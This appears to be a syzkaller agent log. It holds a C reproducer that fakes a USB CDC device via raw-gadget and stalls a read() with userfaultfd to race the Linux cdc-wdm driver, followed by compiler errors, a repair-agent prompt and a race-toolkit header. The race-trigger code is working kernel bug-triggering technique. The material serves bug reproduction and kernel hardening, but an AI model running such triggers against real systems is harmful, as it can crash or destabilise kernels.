.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
In file included from <stdin>:4:
<stdin>:218:12: error: initializer element is not constant
<stdin>:218:12: note: (near initialization for 'dev_desc.bcdUSB')
<stdin>:223:14: error: initializer element is not constant
<stdin>:223:14: note: (near initialization for 'dev_desc.idVendor')
<stdin>:224:15: error: initializer element is not constant
<stdin>:224:15: note: (near initialization for 'dev_desc.idProduct')
<stdin>:225:15: error: initializer element is not constant
<stdin>:225:15: note: (near initialization for 'dev_desc.bcdDevice')
<stdin>:248:19: error: initializer element is not constant
<stdin>:248:19: note: (near initialization for 'conf_desc.conf.wTotalLength')
<stdin>:270:13: error: initializer element is not constant
<stdin>:270:13: note: (near initialization for 'conf_desc.cdc_hdr.bcdCDC')
<stdin>:277:21: error: initializer element is not constant
<stdin>:277:21: note: (near initialization for 'conf_desc.ep_in.wMaxPacketSize')
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics
compiler invocation: gcc [-o /tmp/syz-executor3087703307 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w]]
|
| 257/6 |
2026/09/11 23:00 |
agent |
repro-repairer |
1m
Model:
Instruction: You are an experienced C developer.
Your goal is to repair a C program that failed to compile.
Analyze the compiler error and provide a corrected version of the C program.
Make the minimal necessary changes to fix the compilation error.
Preserve the structure, logic, and intent of the original code.
Do NOT replace the program with a dummy placeholder (e.g., an empty main function).
Print only the C program that could be executed directly, without backticks.
Prefer calling several tools at the same time to save round-trips.
Prompt: C Program:
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
Compiler Error:
failed to build program:
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
